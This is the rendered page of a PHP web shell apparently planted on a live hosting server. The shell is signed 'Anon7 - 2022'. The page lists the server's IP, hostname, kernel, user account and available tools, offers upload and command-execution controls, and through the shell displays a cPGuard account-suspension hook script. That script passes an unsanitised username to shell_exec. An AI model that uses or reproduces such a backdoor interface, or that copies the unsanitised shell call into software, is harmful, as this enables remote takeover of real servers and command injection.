SCDNG PELER
Server IP : 144.76.124.212  /  Your IP : 216.73.216.94
Web Server : LiteSpeed
System : Linux l4cp.vnetindia.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : rakcha ( 1356)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cpguard/app/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/opt/cpguard/app/scripts/cwp_suspend_hook.php
#!/opt/cpguard/cpg-php-fpm/bin/php
<?php

## DO NOT CUSTOMISE THIS FILE
## This file may be updated during software update
## Please make a copy of the file for customising it


sleep(2);
$input = json_decode($argv[1], true);
/*
    $input['emails']    - (array) Primary and secondary notification emails
    $input['user']      - (string) The user to be suspended
    $input['reason']    - (string) Reason for suspendsion
*/

if (!isUserSuspended($input['user'])) {

    //Suspend the user
    suspendUser($input['user'], $input['reason']);

    //Send a notification in slack
    //slack_notification($input);

    //Send an email
    send_email_notification($input);
}

function isUserSuspended($user)
{
    //code to check if user is already suspended
    return file_exists("/usr/local/cwp/users/suspended/$user");
}


function suspendUser($user, $reason)
{
    //code to suspend user
    shell_exec("/scripts/cwp_api account suspend_user $user");
    return true;
}

/* -------------------------------------------------------------------------
 *      SLACK WEBHOOKS
 *      REFER https://api.slack.com/messaging/webhooks
 * ---------------------------------------------------------------------- */

function slack_notification($input)
{

    $server = gethostname();

    //Update the webhook url below
    $webhook_url = "https://hooks.slack.com/services/xxxxxxxxxxxxxxx";

    $data = array(
        "text" => $input['user'] . " account suspended! on $server",
        "blocks" => array(
            array(
                "type" => "section",
                "text" => array(
                    "type" => "mrkdwn",
                    "text" => "*" . $input['user'] . " account suspended! on $server*\nReason : " . $input['reason']
                )
            )
        )
    );

    $data_string = json_encode($data);
    $ch = curl_init($webhook_url);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt(
        $ch,
        CURLOPT_HTTPHEADER,
        array(
            'Content-Type: application/json',
            'Content-Length: ' . strlen($data_string)
        )
    );

    $result = curl_exec($ch);
}

/* -------------------------------------------------------------------------
 *      SENDING EMAILS TO END USERS
 * ---------------------------------------------------------------------- */

function send_email_notification($input)
{
    if (empty($input['emails'])) {
        echo "User email ids are not available. Email not sent";
        return false;
    }
    $server = gethostname();
    $to_address = implode(',', $input['emails']);
    $subject = $input['user'] . " account suspended on $server";

    $message = "
    <html>
        <head>
            <title>" . $input['user'] . " account suspended on $server</title>
        </head>
        <body>
            <h2>" . $input['user'] . " account suspended on $server</h2>
            <p>Reason : " . $input['reason'] . "</p>
        </body>
    </html>
    ";

    // Always set content-type when sending HTML email
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

    // More headers
    $headers .= "From: cpguard@$server" . "\r\n";
    //$headers .= 'Cc: myboss@example.com' . "\r\n";


    mail($to_address, $subject, $message, $headers);
}

Anon7 - 2022
SCDN GOK